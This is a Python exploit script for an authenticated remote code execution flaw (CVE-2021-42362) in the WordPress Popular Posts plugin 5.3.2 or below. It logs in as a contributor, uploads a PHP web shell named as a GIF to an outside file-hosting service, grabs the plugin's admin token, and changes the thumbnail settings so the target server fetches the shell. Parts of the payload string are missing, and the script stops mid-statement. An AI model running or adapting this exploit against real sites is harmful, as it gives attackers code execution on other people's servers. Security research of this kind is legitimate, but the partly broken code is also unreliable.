WordPress Plugin Popular Posts 5.3.2 – Remote Code Execution (RCE) (Authenticated)

# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated) # Date: 15/07/2021 # Exploit Author: Simone Cristofaro # Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/ # Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip # Version: 5.3.2 or below # Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27 # CVE: CVE-2021-42362 # Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/ # Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is # enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above. # This script will login with the provided credentials, create a new post and add a custom field with the link to a # web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to # provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is # set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;) ''' Banner: ''' banner = """ * Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated) * @Heisenberg """ print(banner) ''' Import required modules: ''' import requests import argparse import json import re ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)') my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip") my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port") my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path") my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username") my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password") args = my_parser.parse_args() target_ip = args.target_ip target_port = args.target_port wp_path = args.wp_path username = args.username password = args.password ''' # Hard coded parameters (if you don't like command line execution) target_ip = "localhost" target_port = "80" wp_path = "/wordpress/" username = "heisenberg" password = "heisenberg" ''' shell_name = 'exploit.gif.php' payload = 'GIF

' print('') print('[*] Starting Exploit:') ''' Upload file ''' file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)}) resp = json.loads(file_json.text) if resp['status']: urlshort = resp['data']['file']['url']['full'] else: print(f'[-] Error:'+ resp['error']['message']) exit() file_uploaded_site = requests.get(urlshort).text PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].') ''' Authentication: ''' session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' # Header: header = { 'Host': target_ip, 'User-Agent': 'Monies Browser 1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } # Authenticate: auth = session.post(auth_url, headers=header, data=body) auth_header = auth.headers['Set-Cookie'] if 'wordpress_logged_in' in auth_header: print(f'[+] Authentication successfull as user [{username}] !') else: print('[-] Authentication failed ! Check username and password') exit() ''' Verify that the requirements are installed ''' settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug' settings_page = session.get(settings_page_url).text search_string = ' gd' if settings_page.find(search_string) == -1 : print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.') exit() ''' Get the wpp-admin-token ''' settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools' settings_page = session.get(settings_page_url).text search_string = '' settings_page = settings_page[settings_page.find(search_string):] wpp_admin_token = settings_page[72: settings_page.find(search_string_end)] if wpp_admin_token: print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].') else: print('[-] Error while gathering wpp-admin-token !') exit() ''' Apply changes to the Popular Posts plugin ''' body = { 'upload_thumb_src': '', 'thumb_source': 'custom_field', 'thumb_lazy_load': 1, 'thumb_field': 'wpp_thumbnail', 'thumb_field_resize': 1, 'section': 'thumb', 'wpp-admin-token': wpp_admin_token } applied_changes = session.post(settings_page_url, headers=header, data=body).text if applied_changes.find('